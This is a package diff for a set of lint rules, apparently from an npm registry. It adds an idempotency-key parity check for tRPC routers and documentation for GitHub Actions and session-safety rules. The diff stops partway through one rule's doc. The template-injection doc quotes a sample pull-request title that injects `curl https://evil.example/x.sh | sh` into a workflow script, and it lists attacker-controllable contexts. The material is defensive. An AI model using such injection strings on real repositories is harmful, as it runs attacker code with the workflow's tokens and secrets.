@noctcore/lint-meta-rules 0.4.2 → 0.6.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +28 -1
- package/dist/{chunk-Z7TXSZR4.js → chunk-OYFQKSJN.js} +9 -1
- package/dist/i18n.js +1 -1
- package/dist/index.cjs +305 -14
- package/dist/index.d.cts +43 -1
- package/dist/index.d.ts +43 -1
- package/dist/index.js +304 -15
- package/dist/prisma.js +3 -3
- package/dist/session.cjs +297 -0
- package/dist/session.d.cts +226 -0
- package/dist/session.d.ts +226 -0
- package/dist/session.js +244 -0
- package/dist/trpc.cjs +122 -0
- package/dist/trpc.d.cts +59 -0
- package/dist/trpc.d.ts +59 -0
- package/dist/trpc.js +73 -0
- package/docs/rules/github-actions-least-privilege-permissions.md +71 -0
- package/docs/rules/github-actions-no-template-injection.md +93 -0
- package/docs/rules/idempotency-key-parity.md +83 -0
- package/docs/rules/session-epoch-captured.md +83 -0
- package/docs/rules/session-kind-stamped.md +81 -0
- package/docs/rules/session-landing-declared.md +87 -0
- package/docs/rules/session-mint-callers.md +77 -0
- package/package.json +17 -7
package/dist/trpc.d.ts
ADDED
|
@@ -0,0 +1,59 @@
|
|
|
1
|
+
import { IMetaRule } from '@noctcore/harness';
|
|
2
|
+
|
|
3
|
+
/**
|
|
4
|
+
* Options for {@link createIdempotencyKeyParityRule}.
|
|
5
|
+
*
|
|
6
|
+
* Ported from Settly, which hardcoded the middleware (`IdempotencyMiddleware`),
|
|
7
|
+
* the key (`idempotencyKey`) and the two trees (`apps/api/src` routers,
|
|
8
|
+
* `apps/web/src` callers). Those are options; the decorator shape defaults to
|
|
9
|
+
* `nestjs-trpc`'s (`@Router({ alias })`, `@UseMiddlewares(...)`) and the client
|
|
10
|
+
* shape to a `trpc.<alias>.<method>` proxy. With no `middleware` the rule is inert.
|
|
11
|
+
*/
|
|
12
|
+
interface IdempotencyKeyParityOptions {
|
|
13
|
+
/** Rule id, for running more than one instance. Default `idempotency-key-parity`. */
|
|
14
|
+
readonly id?: string;
|
|
15
|
+
/** The middleware class that de-duplicates on a client-sent key. Unset or empty = inert. */
|
|
16
|
+
readonly middleware?: string;
|
|
17
|
+
/** Globs of the server router files. Default: none (inert). */
|
|
18
|
+
readonly routerGlobs?: readonly string[];
|
|
19
|
+
/** Globs of every client file that can call a procedure or send a key. Default: none. */
|
|
20
|
+
readonly clientGlobs?: readonly string[];
|
|
21
|
+
/** The token a client file must mention to count as sending a key. Default `idempotencyKey`. */
|
|
22
|
+
readonly keyToken?: string;
|
|
23
|
+
/** What precedes `<alias>.<method>` at a client call site. Default `trpc.`. */
|
|
24
|
+
readonly clientPrefix?: string;
|
|
25
|
+
/** The class decorator that names the router. Default `Router`. */
|
|
26
|
+
readonly routerDecorator?: string;
|
|
27
|
+
/** The key in that decorator's object argument holding the router's alias. Default `alias`. */
|
|
28
|
+
readonly aliasKey?: string;
|
|
29
|
+
/** The method decorator listing a procedure's middlewares. Default `UseMiddlewares`. */
|
|
30
|
+
readonly middlewareDecorator?: string;
|
|
31
|
+
/**
|
|
32
|
+
* `<alias>.<method>` procedures whose caller deliberately sends no key. Keep
|
|
33
|
+
* it empty: the honest fix for "a key will never be sent here" is to drop the
|
|
34
|
+
* middleware. Default: none.
|
|
35
|
+
*/
|
|
36
|
+
readonly exempt?: readonly string[];
|
|
37
|
+
/** Paths with any of these segments are skipped. Default `node_modules`, `.git`, `dist`, `.turbo`, `coverage`. */
|
|
38
|
+
readonly skipDirs?: readonly string[];
|
|
39
|
+
/** Appended to every message: how this project threads the key. */
|
|
40
|
+
readonly hint?: string;
|
|
41
|
+
/** Whether a violation fails CI. Default `true`. */
|
|
42
|
+
readonly ciCritical?: boolean;
|
|
43
|
+
}
|
|
44
|
+
/**
|
|
45
|
+
* Every idempotency-guarded procedure has a client caller that sends a key, or
|
|
46
|
+
* no client caller at all.
|
|
47
|
+
*
|
|
48
|
+
* The middleware only de-duplicates when the client sends a key, and neither
|
|
49
|
+
* half fails when the other is missing: the server passes the request through,
|
|
50
|
+
* the client gets a normal response, and both test suites pass. A guard nobody
|
|
51
|
+
* sends a key to is decoration advertising double-submit protection that does
|
|
52
|
+
* not exist. The rule holds the two lists side by side. A procedure with no
|
|
53
|
+
* client caller passes: the guard is correct in advance of the screen that will
|
|
54
|
+
* use it. The reverse (a key sent to an unguarded procedure) is inert and needs
|
|
55
|
+
* no rule.
|
|
56
|
+
*/
|
|
57
|
+
declare function createIdempotencyKeyParityRule(options?: IdempotencyKeyParityOptions): IMetaRule;
|
|
58
|
+
|
|
59
|
+
export { type IdempotencyKeyParityOptions, createIdempotencyKeyParityRule };
|
package/dist/trpc.js
ADDED
|
@@ -0,0 +1,73 @@
|
|
|
1
|
+
import {
|
|
2
|
+
DEFAULT_SKIP_DIRS,
|
|
3
|
+
escapeRegExp,
|
|
4
|
+
globFiles,
|
|
5
|
+
readSourceText
|
|
6
|
+
} from "./chunk-OYFQKSJN.js";
|
|
7
|
+
|
|
8
|
+
// src/trpc/idempotency-key-parity.ts
|
|
9
|
+
var DEFAULT_ID = "idempotency-key-parity";
|
|
10
|
+
function routerAlias(source, names) {
|
|
11
|
+
return names.alias.exec(source)?.[2] ?? null;
|
|
12
|
+
}
|
|
13
|
+
function guardedMethods(source, names) {
|
|
14
|
+
const methods = [];
|
|
15
|
+
const decorator = new RegExp(names.decorator.source, "gu");
|
|
16
|
+
let match;
|
|
17
|
+
while ((match = decorator.exec(source)) !== null) {
|
|
18
|
+
if (!names.middleware.test(match[1] ?? "")) continue;
|
|
19
|
+
const rest = source.slice(match.index + match[0].length);
|
|
20
|
+
const method = /\basync\s+([A-Za-z_$][\w$]*)\s*\(/u.exec(rest)?.[1];
|
|
21
|
+
if (method !== void 0) methods.push(method);
|
|
22
|
+
}
|
|
23
|
+
return methods;
|
|
24
|
+
}
|
|
25
|
+
function createIdempotencyKeyParityRule(options = {}) {
|
|
26
|
+
const id = options.id ?? DEFAULT_ID;
|
|
27
|
+
const middleware = options.middleware ?? "";
|
|
28
|
+
const keyToken = options.keyToken ?? "idempotencyKey";
|
|
29
|
+
const clientPrefix = options.clientPrefix ?? "trpc.";
|
|
30
|
+
const skipDirs = options.skipDirs ?? DEFAULT_SKIP_DIRS;
|
|
31
|
+
const exempt = new Set(options.exempt ?? []);
|
|
32
|
+
const names = {
|
|
33
|
+
alias: new RegExp(
|
|
34
|
+
`@${escapeRegExp(options.routerDecorator ?? "Router")}\\(\\{[^}]*\\b${escapeRegExp(options.aliasKey ?? "alias")}:\\s*(['"])([^'"]+)\\1`,
|
|
35
|
+
"u"
|
|
36
|
+
),
|
|
37
|
+
decorator: new RegExp(`@${escapeRegExp(options.middlewareDecorator ?? "UseMiddlewares")}\\(([^)]*)\\)`, "u"),
|
|
38
|
+
middleware: new RegExp(`\\b${escapeRegExp(middleware)}\\b`, "u")
|
|
39
|
+
};
|
|
40
|
+
return {
|
|
41
|
+
id,
|
|
42
|
+
category: "source-text",
|
|
43
|
+
ciCritical: options.ciCritical ?? true,
|
|
44
|
+
description: "Procedures carrying the idempotency middleware must have a client caller that sends an idempotency key, or no client caller at all.",
|
|
45
|
+
run(ctx) {
|
|
46
|
+
if (middleware === "") return [];
|
|
47
|
+
const clientSources = globFiles(ctx.glob, options.clientGlobs ?? [], skipDirs).map((file) => readSourceText(ctx.read, file)).filter((text) => text !== null);
|
|
48
|
+
const violations = [];
|
|
49
|
+
for (const file of globFiles(ctx.glob, options.routerGlobs ?? [], skipDirs)) {
|
|
50
|
+
const source = readSourceText(ctx.read, file);
|
|
51
|
+
if (source === null || !names.middleware.test(source)) continue;
|
|
52
|
+
const alias = routerAlias(source, names);
|
|
53
|
+
if (alias === null) continue;
|
|
54
|
+
for (const method of guardedMethods(source, names)) {
|
|
55
|
+
const path = `${alias}.${method}`;
|
|
56
|
+
if (exempt.has(path)) continue;
|
|
57
|
+
const callers = clientSources.filter((text) => text.includes(`${clientPrefix}${path}`));
|
|
58
|
+
if (callers.length === 0) continue;
|
|
59
|
+
if (callers.some((text) => text.includes(keyToken))) continue;
|
|
60
|
+
violations.push({
|
|
61
|
+
file,
|
|
62
|
+
rule: id,
|
|
63
|
+
message: `\`${path}\` carries ${middleware} but its client callers never send \`${keyToken}\`, so the guard is inert. Send the key from the caller, or drop the middleware and say why.${options.hint === void 0 || options.hint === "" ? "" : ` ${options.hint}`}`
|
|
64
|
+
});
|
|
65
|
+
}
|
|
66
|
+
}
|
|
67
|
+
return violations;
|
|
68
|
+
}
|
|
69
|
+
};
|
|
70
|
+
}
|
|
71
|
+
export {
|
|
72
|
+
createIdempotencyKeyParityRule
|
|
73
|
+
};
|
|
@@ -0,0 +1,71 @@
|
|
|
1
|
+
# `github-actions-least-privilege-permissions`
|
|
2
|
+
|
|
3
|
+
> A workflow's top-level `permissions:` exists, is not `write-all` / `read-all`, and grants no write.
|
|
4
|
+
|
|
5
|
+
## Why
|
|
6
|
+
|
|
7
|
+
The top-level `permissions:` is the `GITHUB_TOKEN` every job gets unless the job says otherwise. A
|
|
8
|
+
write there hands every job, and every third-party action any job runs, the power to push commits,
|
|
9
|
+
cut releases or edit issues. Leaving the block out is worse: the token then falls back to the
|
|
10
|
+
repository's default, which is read-write on many repositories and organisations. A compromised
|
|
11
|
+
action or an injected script can only do what the token allows, so the smallest token is the
|
|
12
|
+
cheapest containment there is.
|
|
13
|
+
|
|
14
|
+
Keep the top level read-only and grant each write on the job that needs it.
|
|
15
|
+
|
|
16
|
+
## What it flags
|
|
17
|
+
|
|
18
|
+
- A workflow with no top-level `permissions:`, naming each job that has no job-level
|
|
19
|
+
`permissions:` either and so runs on the default token. Reported on line 1.
|
|
20
|
+
- `permissions: write-all` and `permissions: read-all` at the top level: every scope, including
|
|
21
|
+
ones the workflow never uses.
|
|
22
|
+
- Every `<scope>: write` in the top-level block (block or flow mapping), one violation per scope, on
|
|
23
|
+
its own line, unless the scope is in `allowTopLevelWrite`.
|
|
24
|
+
|
|
25
|
+
```yaml
|
|
26
|
+
# Bad
|
|
27
|
+
permissions: write-all
|
|
28
|
+
|
|
29
|
+
permissions:
|
|
30
|
+
contents: write
|
|
31
|
+
id-token: write
|
|
32
|
+
|
|
33
|
+
# Good
|
|
34
|
+
permissions:
|
|
35
|
+
contents: read
|
|
36
|
+
jobs:
|
|
37
|
+
release:
|
|
38
|
+
permissions:
|
|
39
|
+
contents: write
|
|
40
|
+
id-token: write
|
|
41
|
+
```
|
|
42
|
+
|
|
43
|
+
## What it leaves alone
|
|
44
|
+
|
|
45
|
+
- A workflow with no top-level block when every job declares its own `permissions:`: the default
|
|
46
|
+
token then reaches no job.
|
|
47
|
+
- `permissions: {}`, and any scope at `read` or `none`.
|
|
48
|
+
- Writes on a job, a `permissions:` input under a step's `with:`, and a commented-out line.
|
|
49
|
+
|
|
50
|
+
## Factory
|
|
51
|
+
|
|
52
|
+
```ts
|
|
53
|
+
createGithubActionsLeastPrivilegePermissionsRule(options?: GithubActionsLeastPrivilegePermissionsOptions): IMetaRule
|
|
54
|
+
```
|
|
55
|
+
|
|
56
|
+
| Option | Type | Default | Meaning |
|
|
57
|
+
| --- | --- | --- | --- |
|
|
58
|
+
| `workflowGlobs` | `string[]` | `['.github/workflows/*.yml', '.github/workflows/*.yaml']` | Workflow files to scan. |
|
|
59
|
+
| `allowTopLevelWrite` | `string[]` | `[]` | Scopes allowed at `write` in the top-level block, for a repo that accepts, say, `contents: write` on a single-job release workflow. |
|
|
60
|
+
| `ciCritical` | `boolean` | `true` | Whether a violation fails CI. |
|
|
61
|
+
|
|
62
|
+
## Limits
|
|
63
|
+
|
|
64
|
+
Line-based text, not a YAML parse. It checks the top level only; a job that grants itself more than
|
|
65
|
+
it uses is not judged. A reusable workflow (`on: workflow_call`) is held to the same bar, although
|
|
66
|
+
its token can never exceed its caller's.
|
|
67
|
+
|
|
68
|
+
Prior art: zizmor's [`excessive-permissions`](https://docs.zizmor.sh/audits/#excessive-permissions)
|
|
69
|
+
audit and the OpenSSF Scorecard
|
|
70
|
+
[Token-Permissions](https://github.com/ossf/scorecard/blob/main/docs/checks.md#token-permissions)
|
|
71
|
+
check.
|
|
@@ -0,0 +1,93 @@
|
|
|
1
|
+
# `github-actions-no-template-injection`
|
|
2
|
+
|
|
3
|
+
> `run:` scripts and `actions/github-script` bodies never expand attacker-controllable `${{ }}` context.
|
|
4
|
+
|
|
5
|
+
## Why
|
|
6
|
+
|
|
7
|
+
GitHub substitutes `${{ }}` into a `run:` script before the shell sees it. A PR titled
|
|
8
|
+
`"; curl https://evil.example/x.sh | sh #` turns `echo "${{ github.event.pull_request.title }}"`
|
|
9
|
+
into a command that runs with the job's `GITHUB_TOKEN` and secrets. On `pull_request_target`,
|
|
10
|
+
`issue_comment` or `workflow_run` that token often has write access, and anyone who can open an
|
|
11
|
+
issue can supply the text. The same holds for the `script:` of `actions/github-script`, which is
|
|
12
|
+
JavaScript built from the substituted text.
|
|
13
|
+
|
|
14
|
+
The fix is to pass the value through `env:` and read it as a variable. An environment variable is
|
|
15
|
+
data; the shell never parses its contents as script.
|
|
16
|
+
|
|
17
|
+
## What it flags
|
|
18
|
+
|
|
19
|
+
A `${{ }}` expression inside a `run:` value (inline, a `|` / `>` block, or a multi-line plain
|
|
20
|
+
scalar) or inside the `script:` input of an `actions/github-script` step, when it names one of:
|
|
21
|
+
|
|
22
|
+
- `github.event.issue.title` / `.body`, `github.event.pull_request.title` / `.body`,
|
|
23
|
+
`github.event.discussion.title` / `.body`
|
|
24
|
+
- `github.event.pull_request.head.ref` / `.head.label`, `github.head_ref`,
|
|
25
|
+
`github.event.workflow_run.head_branch`
|
|
26
|
+
- `github.event.comment.body`, `github.event.review.body`, `github.event.review_comment.body`
|
|
27
|
+
- `github.event.pages.*.page_name`
|
|
28
|
+
- `github.event.commits.*.message` / `.author` / `.committer`, the same under
|
|
29
|
+
`github.event.head_commit` and `github.event.workflow_run.head_commit`
|
|
30
|
+
- `inputs.<name>` and `github.event.inputs.<name>` (option `checkInputs`, on by default), except an
|
|
31
|
+
input the same file declares as `type: boolean`, `number` or `choice`
|
|
32
|
+
- `steps.<id>.outputs.<name>` (option `checkStepOutputs`, off by default)
|
|
33
|
+
|
|
34
|
+
Workflow files and composite actions (`action.yml` / `action.yaml` at any depth) are scanned. A
|
|
35
|
+
shell comment inside a block is still read: GitHub expands expressions there too. Each violation
|
|
36
|
+
carries the 1-indexed line.
|
|
37
|
+
|
|
38
|
+
```yaml
|
|
39
|
+
# Bad
|
|
40
|
+
- run: echo "${{ github.event.pull_request.title }}"
|
|
41
|
+
- uses: actions/github-script@<sha> # v7
|
|
42
|
+
with:
|
|
43
|
+
script: console.log(`${{ github.event.issue.body }}`)
|
|
44
|
+
|
|
45
|
+
# Good
|
|
46
|
+
- env:
|
|
47
|
+
TITLE: ${{ github.event.pull_request.title }}
|
|
48
|
+
run: echo "$TITLE"
|
|
49
|
+
- uses: actions/github-script@<sha> # v7
|
|
50
|
+
env:
|
|
51
|
+
BODY: ${{ github.event.issue.body }}
|
|
52
|
+
with:
|
|
53
|
+
script: console.log(process.env.BODY)
|
|
54
|
+
```
|
|
55
|
+
|
|
56
|
+
## What it leaves alone
|
|
57
|
+
|
|
58
|
+
- The same expression under `env:`, `with:` (other than a github-script `script:`), `if:`,
|
|
59
|
+
`name:` or `defaults.run`. Those are not parsed as script.
|
|
60
|
+
- Contexts nobody outside the repo controls: `github.sha`, `github.ref_name`,
|
|
61
|
+
`github.event.pull_request.number`, `github.event.pull_request.head.sha`, `matrix.*`,
|
|
62
|
+
`secrets.*`, `needs.*`, and `steps.*.outputs.*` unless `checkStepOutputs` is on.
|
|
63
|
+
- A `script:` input of any action other than `actions/github-script`.
|
|
64
|
+
- A YAML comment (`# run: ...`) and the trailing ` # ...` of a plain inline `run:`, which YAML
|
|
65
|
+
strips before GitHub sees the value.
|
|
66
|
+
- Paths with a `node_modules`, `.git`, `dist`, `.turbo` or `coverage` segment.
|
|
67
|
+
|
|
68
|
+
## Factory
|
|
69
|
+
|
|
70
|
+
```ts
|
|
71
|
+
createGithubActionsNoTemplateInjectionRule(options?: GithubActionsNoTemplateInjectionOptions): IMetaRule
|
|
72
|
+
```
|
|
73
|
+
|
|
74
|
+
| Option | Type | Default | Meaning |
|
|
75
|
+
| --- | --- | --- | --- |
|
|
76
|
+
| `workflowGlobs` | `string[]` | `['.github/workflows/*.yml', '.github/workflows/*.yaml']` | Workflow files to scan. |
|
|
77
|
+
| `actionGlobs` | `string[]` | `action.yml` / `action.yaml` at any depth | Composite action metadata to scan. |
|
|
78
|
+
| `skipDirs` | `string[]` | `['node_modules', '.git', 'dist', '.turbo', 'coverage']` | An action path with any of these segments is skipped. |
|
|
79
|
+
| `checkInputs` | `boolean` | `true` | Treat `inputs.*` as attacker-controlled. A reusable workflow or composite action cannot know what its caller passes. |
|
|
80
|
+
| `checkStepOutputs` | `boolean` | `false` | Treat `steps.*.outputs.*` as attacker-controlled. Turn it on when steps echo event text into outputs. |
|
|
81
|
+
| `ciCritical` | `boolean` | `true` | Whether a violation fails CI. |
|
|
82
|
+
|
|
83
|
+
## Limits
|
|
84
|
+
|
|
85
|
+
Line-based text, not a YAML parse. An expression split across lines, the bracket form
|
|
86
|
+
(`github.event['issue']['title']`), `toJSON(github.event)` and a value laundered through `env.*`
|
|
87
|
+
set from event text are not seen. An expression that only tests a tainted field
|
|
88
|
+
(`${{ contains(github.event.issue.title, 'x') }}`) evaluates to a boolean but is still reported;
|
|
89
|
+
move the test to `if:` or into the script.
|
|
90
|
+
|
|
91
|
+
Prior art: zizmor's [`template-injection`](https://docs.zizmor.sh/audits/#template-injection) audit
|
|
92
|
+
and GitHub's
|
|
93
|
+
[security hardening guide](https://docs.github.com/en/actions/security-for-github-actions/security-guides/security-hardening-for-github-actions#understanding-the-risk-of-script-injections).
|
|
@@ -0,0 +1,83 @@
|
|
|
1
|
+
# `idempotency-key-parity`
|
|
2
|
+
|
|
3
|
+
> A procedure guarded by an idempotency middleware has a client caller that sends the key, or no
|
|
4
|
+
> client caller at all.
|
|
5
|
+
|
|
6
|
+
Import it from the `trpc` entry point:
|
|
7
|
+
|
|
8
|
+
```ts
|
|
9
|
+
import { createIdempotencyKeyParityRule } from '@noctcore/lint-meta-rules/trpc';
|
|
10
|
+
```
|
|
11
|
+
|
|
12
|
+
## Why
|
|
13
|
+
|
|
14
|
+
An idempotency middleware only de-duplicates when the client sends a key, and neither half fails when
|
|
15
|
+
the other is missing. The server passes the request straight through, the client gets a normal
|
|
16
|
+
response, and both test suites pass. A guard nobody sends a key to is decoration advertising
|
|
17
|
+
double-submit protection that does not exist. In the project this rule was extracted from, an audit
|
|
18
|
+
found 14 of 30 guarded procedures whose only web caller had never sent a key.
|
|
19
|
+
|
|
20
|
+
The gap is only visible by holding the two lists side by side, which is what this rule does.
|
|
21
|
+
|
|
22
|
+
## What it flags
|
|
23
|
+
|
|
24
|
+
For every method in a `routerGlobs` file decorated with a `@<middlewareDecorator>(...)` list naming
|
|
25
|
+
`middleware` (as a whole word), the rule derives `<alias>.<method>` from the class's
|
|
26
|
+
`@<routerDecorator>({ <aliasKey>: '...' })`. If some `clientGlobs` file contains
|
|
27
|
+
`<clientPrefix><alias>.<method>` and none of those files contains `keyToken`, the router file is
|
|
28
|
+
reported.
|
|
29
|
+
|
|
30
|
+
The method is read from the decorator to the next `async <name>(`, the shape `nestjs-trpc` routers
|
|
31
|
+
take.
|
|
32
|
+
|
|
33
|
+
## What it leaves alone
|
|
34
|
+
|
|
35
|
+
- A guarded procedure with no client caller: the guard is correct in advance of the screen that will
|
|
36
|
+
use it, and demanding a caller would be demanding the screen.
|
|
37
|
+
- A procedure without the middleware, even when a client sends it a key: the header is ignored, so it
|
|
38
|
+
is inert rather than misleading.
|
|
39
|
+
- A middleware whose name merely starts with the configured one (`IdempotencyMiddlewareLegacy`).
|
|
40
|
+
- Procedures listed in `exempt`, and a router file with no alias.
|
|
41
|
+
|
|
42
|
+
A key sent from a DIFFERENT client file than the one naming the call counts, and so does a client test
|
|
43
|
+
file, if `clientGlobs` match it: the check is per procedure, across the client tree.
|
|
44
|
+
|
|
45
|
+
With no `middleware` the rule is inert.
|
|
46
|
+
|
|
47
|
+
## Factory
|
|
48
|
+
|
|
49
|
+
```ts
|
|
50
|
+
createIdempotencyKeyParityRule(options?: IdempotencyKeyParityOptions): IMetaRule
|
|
51
|
+
```
|
|
52
|
+
|
|
53
|
+
| Option | Type | Default | Meaning |
|
|
54
|
+
| --- | --- | --- | --- |
|
|
55
|
+
| `id` | `string` | `'idempotency-key-parity'` | Rule id. |
|
|
56
|
+
| `middleware` | `string` | none (inert) | The middleware class that de-duplicates on a client-sent key. |
|
|
57
|
+
| `routerGlobs` | `string[]` | `[]` | Server router files. |
|
|
58
|
+
| `clientGlobs` | `string[]` | `[]` | Every client file that can call a procedure or send a key. |
|
|
59
|
+
| `keyToken` | `string` | `'idempotencyKey'` | The token a client file must mention to count as sending a key. |
|
|
60
|
+
| `clientPrefix` | `string` | `'trpc.'` | What precedes `<alias>.<method>` at a client call site. |
|
|
61
|
+
| `routerDecorator` | `string` | `'Router'` | The class decorator that names the router. |
|
|
62
|
+
| `aliasKey` | `string` | `'alias'` | The key in that decorator's object holding the alias. |
|
|
63
|
+
| `middlewareDecorator` | `string` | `'UseMiddlewares'` | The method decorator listing a procedure's middlewares. |
|
|
64
|
+
| `exempt` | `string[]` | `[]` | `<alias>.<method>` procedures whose caller deliberately sends no key. Keep it empty: the honest fix is to drop the middleware. |
|
|
65
|
+
| `skipDirs` | `string[]` | `node_modules`, `.git`, `dist`, `.turbo`, `coverage` | Path segments skipped. |
|
|
66
|
+
| `hint` | `string` | none | Appended to every message: how this project threads the key. |
|
|
67
|
+
| `ciCritical` | `boolean` | `true` | Whether a violation fails CI. |
|
|
68
|
+
|
|
69
|
+
## Worked example: Settly
|
|
70
|
+
|
|
71
|
+
```ts
|
|
72
|
+
createIdempotencyKeyParityRule({
|
|
73
|
+
middleware: 'IdempotencyMiddleware',
|
|
74
|
+
routerGlobs: ['apps/api/src/**/*.router.ts'],
|
|
75
|
+
clientGlobs: ['apps/web/src/**/*.{ts,tsx}'],
|
|
76
|
+
hint: "Thread `trpc: { context: { idempotencyKey } }` through the hook's mutationOptions (see hooks/use-idempotency-key.ts).",
|
|
77
|
+
});
|
|
78
|
+
```
|
|
79
|
+
|
|
80
|
+
## When not to use it
|
|
81
|
+
|
|
82
|
+
If the key is generated server-side or by a client interceptor on every mutation, no call site can
|
|
83
|
+
forget it.
|
|
@@ -0,0 +1,83 @@
|
|
|
1
|
+
# `session-epoch-captured`
|
|
2
|
+
|
|
3
|
+
> Every call into the sign-in seam passes the session epoch it captured before reading the
|
|
4
|
+
> credential.
|
|
5
|
+
|
|
6
|
+
Import it from the `session` entry point:
|
|
7
|
+
|
|
8
|
+
```ts
|
|
9
|
+
import { createSessionEpochCapturedRule } from '@noctcore/lint-meta-rules/session';
|
|
10
|
+
```
|
|
11
|
+
|
|
12
|
+
## Why
|
|
13
|
+
|
|
14
|
+
A common way to make "sign out everywhere" stick is a per-user epoch: a revocation bumps it, and a mint
|
|
15
|
+
refuses to write a session under a stale value. Where the epoch is read decides what the fence covers.
|
|
16
|
+
Read inside the mint, it covers the session-store write and nothing else, so the whole credential check
|
|
17
|
+
(a password hash verify, an OAuth token exchange) is a window in which a sign-in that already read the
|
|
18
|
+
revoked state still mints a surviving session.
|
|
19
|
+
|
|
20
|
+
So every entry point reads the epoch BEFORE it reads the credential and hands the value to the seam
|
|
21
|
+
that ends the sign-in. Forgetting to is invisible: the sign-in works and every test passes, because the
|
|
22
|
+
race only loses under a concurrent revocation. This rule fails any call into the seam whose arguments
|
|
23
|
+
never mention the epoch.
|
|
24
|
+
|
|
25
|
+
## What it flags
|
|
26
|
+
|
|
27
|
+
Each `.<call>(...)` call in a file matched by `sourceGlobs` whose argument text (found by balancing
|
|
28
|
+
parentheses) does not mention `field` as a whole word.
|
|
29
|
+
|
|
30
|
+
## What it leaves alone
|
|
31
|
+
|
|
32
|
+
- `epochless: true`, or any identifier that merely contains the field: whole words only.
|
|
33
|
+
- Files in `exempt` (the seam's own home, which defines the method and its default).
|
|
34
|
+
- Files ending in an `excludeSuffixes` entry, and `skipDirs` segments.
|
|
35
|
+
|
|
36
|
+
With no `call` the rule is inert.
|
|
37
|
+
|
|
38
|
+
Ported from Settly, whose rule matched calls with a regex that stopped at the first `\n );` after the
|
|
39
|
+
call. That missed a call written on one line, and let an unstamped one-line call borrow the epoch of
|
|
40
|
+
the next multi-line call. The parenthesis scanner here reads each call on its own.
|
|
41
|
+
|
|
42
|
+
## Factory
|
|
43
|
+
|
|
44
|
+
```ts
|
|
45
|
+
createSessionEpochCapturedRule(options?: SessionEpochCapturedOptions): IMetaRule
|
|
46
|
+
```
|
|
47
|
+
|
|
48
|
+
| Option | Type | Default | Meaning |
|
|
49
|
+
| --- | --- | --- | --- |
|
|
50
|
+
| `id` | `string` | `'session-epoch-captured'` | Rule id. |
|
|
51
|
+
| `call` | `string` | none (inert) | The post-credential seam, matched as `.<call>(`. |
|
|
52
|
+
| `field` | `string` | `'epoch'` | The argument every call must mention. |
|
|
53
|
+
| `exempt` | `string[]` | `[]` | Repo-relative files skipped outright: the seam's own home. |
|
|
54
|
+
| `captureCall` | `string` | none | How the epoch is captured, quoted in the message. |
|
|
55
|
+
| `sourceGlobs` | `string[]` | `[]` (inert) | Source to read. |
|
|
56
|
+
| `skipDirs` | `string[]` | `node_modules`, `.git`, `dist`, `.turbo`, `coverage` | Path segments skipped. |
|
|
57
|
+
| `excludeSuffixes` | `string[]` | `.spec.ts`, `.spec.tsx`, `.test.ts`, `.test.tsx` | File endings skipped. |
|
|
58
|
+
| `hint` | `string` | none | Appended to every message. |
|
|
59
|
+
| `ciCritical` | `boolean` | `true` | Whether a violation fails CI. |
|
|
60
|
+
|
|
61
|
+
## Worked example: Settly
|
|
62
|
+
|
|
63
|
+
```ts
|
|
64
|
+
createSessionEpochCapturedRule({
|
|
65
|
+
call: 'beginOrEstablish',
|
|
66
|
+
exempt: ['apps/api/src/modules/auth/services/two-factor-challenge.service.ts'],
|
|
67
|
+
captureCall: 'sessionService.readEpoch(userId)',
|
|
68
|
+
sourceGlobs: [
|
|
69
|
+
'apps/*/{src,test,tests,security-spec}/**/*.{ts,tsx}',
|
|
70
|
+
'packages/*/{src,test,tests,security-spec}/**/*.{ts,tsx}',
|
|
71
|
+
'tools/**/*.{ts,tsx}',
|
|
72
|
+
],
|
|
73
|
+
excludeSuffixes: ['.spec.ts', '.test.ts'],
|
|
74
|
+
});
|
|
75
|
+
```
|
|
76
|
+
|
|
77
|
+
Two Settly flows mint without a captured epoch and are outside the rule by construction, because they
|
|
78
|
+
never call the seam: signup (the account did not exist when the request began) and password change (it
|
|
79
|
+
revokes first and then re-issues, so the current counter is the right one).
|
|
80
|
+
|
|
81
|
+
## When not to use it
|
|
82
|
+
|
|
83
|
+
Without a revocation epoch (or an equivalent generation counter) there is no fence to extend.
|
|
@@ -0,0 +1,81 @@
|
|
|
1
|
+
# `session-kind-stamped`
|
|
2
|
+
|
|
3
|
+
> Every call that mints a session stamps the principal's kind onto it, or sits in an allowlisted,
|
|
4
|
+
> provably single-kind flow.
|
|
5
|
+
|
|
6
|
+
Import it from the `session` entry point:
|
|
7
|
+
|
|
8
|
+
```ts
|
|
9
|
+
import { createSessionKindStampedRule } from '@noctcore/lint-meta-rules/session';
|
|
10
|
+
```
|
|
11
|
+
|
|
12
|
+
## Why
|
|
13
|
+
|
|
14
|
+
When one sign-in serves two kinds of account (staff and a customer portal, say) and the request
|
|
15
|
+
pipeline reads the kind from the SESSION rather than the database, the stamp is only as good as the
|
|
16
|
+
mint that wrote it. A session minted without the field reads as whatever the reader defaults to. For the
|
|
17
|
+
fence between the two kinds that is a silent promotion: a portal account whose session lost its stamp
|
|
18
|
+
is a staff caller inside its own tenant, and the tenant boundary waves it through as legitimate.
|
|
19
|
+
|
|
20
|
+
This is not hypothetical. In the project this rule was extracted from, two re-issue paths (a password
|
|
21
|
+
change and a revoke-other-sessions action, both reachable by a portal account) shipped without the
|
|
22
|
+
stamp while every gate was green, because nothing mechanical looked.
|
|
23
|
+
|
|
24
|
+
## What it flags
|
|
25
|
+
|
|
26
|
+
For each `.<mintCall>(...)` call in a file matched by `sourceGlobs` (arguments found by balancing
|
|
27
|
+
parentheses, so a multi-line options object with nested calls is read whole):
|
|
28
|
+
|
|
29
|
+
1. If the arguments contain an object literal, that literal must mention `field` as a whole word. Each
|
|
30
|
+
call is checked on its own, so a file with two mints where only one stamps is still reported.
|
|
31
|
+
2. If the arguments carry no literal (options built elsewhere), the file must mention `field`
|
|
32
|
+
somewhere. Coarser, but no silent hole.
|
|
33
|
+
3. Otherwise the file must be in `allowUnstamped`.
|
|
34
|
+
|
|
35
|
+
Residual gap, stated rather than hidden: a file that stamps the field on one delegated mint and forgets
|
|
36
|
+
it on a second delegated mint passes clause 2.
|
|
37
|
+
|
|
38
|
+
## What it leaves alone
|
|
39
|
+
|
|
40
|
+
- `.<mintCall>Something(`, and the method's definition.
|
|
41
|
+
- `kindless` or `kinds`: the field must appear as a whole word.
|
|
42
|
+
- Files in `allowUnstamped`, files ending in an `excludeSuffixes` entry, and `skipDirs` segments.
|
|
43
|
+
|
|
44
|
+
With no `mintCall` the rule is inert.
|
|
45
|
+
|
|
46
|
+
## Factory
|
|
47
|
+
|
|
48
|
+
```ts
|
|
49
|
+
createSessionKindStampedRule(options?: SessionKindStampedOptions): IMetaRule
|
|
50
|
+
```
